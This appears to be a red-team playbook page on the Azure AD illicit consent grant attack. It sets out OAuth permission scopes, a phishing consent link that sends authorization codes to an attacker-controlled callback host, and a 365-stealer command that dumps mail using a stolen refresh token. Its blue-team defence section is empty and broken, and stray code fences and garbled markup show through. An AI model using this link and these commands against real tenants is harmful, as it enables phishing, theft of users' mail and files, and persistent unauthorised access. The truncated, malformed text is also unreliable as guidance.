Azure ad illicit consent grant

Azure AD Illicit Consent Grant Attack

When to Use

• When conducting cloud-focused Red Team engagements where standard credential phishing is blocked by strong Multi-Factor Authentication (MFA).
• To maintain stealthy, persistent access to a user's Microsoft 365 data (emails, OneDrive) by relying on OAuth refresh tokens rather than stolen passwords.

Prerequisites

• Authorized scope and rules of engagement for the target environment
• Appropriate tools installed on the attack/analysis platform
• Understanding of the target technology stack and architecture
• Documentation template ready for findings and evidence capture

Workflow

Phase 1: Registering the Malicious Application

# ```

### Phase 2: Defining Scopes and Permissions

```json
// // {
  "requestedPermissions": [
    { "id": "Mail.ReadWrite", "type": "Scope" },
    { "id": "Files.ReadWrite.All", "type": "Scope" },
    { "id": "User.Read", "type": "Scope" }
  ]
}

Phase 3: Crafting the Consent Link (The Phish)

# # https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=ATTACKER_APP_ID
&response_type=code
&redirect_uri=https://attacker-controlled-site.com/callback
&response_mode=query
&scope=Mail.ReadWrite%20Files.ReadWrite.All%20User.Read%20offline_access
&state=12345

Phase 4: Harvesting the Tokens and Accessing Data

# python3 365-stealer.py --refresh-token [STOLEN_REFRESH_TOKEN] --dump-mail

Decision Point 🔀

flowchart TD
    A[Send Phishing Link ] --> B{User Consents? ]}
    B -->|Yes| C[Receive Auth Code ]
    B -->|No| D[Revise Pretext ]
    C --> E[Exchange for Token ]

🔵 Blue Team Detection & Defense

• Restrict App Consent: - Monitor Azure AD Audit Logs: Defend against Oauth Phishing: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Azure Ad Illicit Consent Grant — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• Microsoft: Detect and Remediate Illicit Consent Grants
• O365 Stealer: GitHub Repository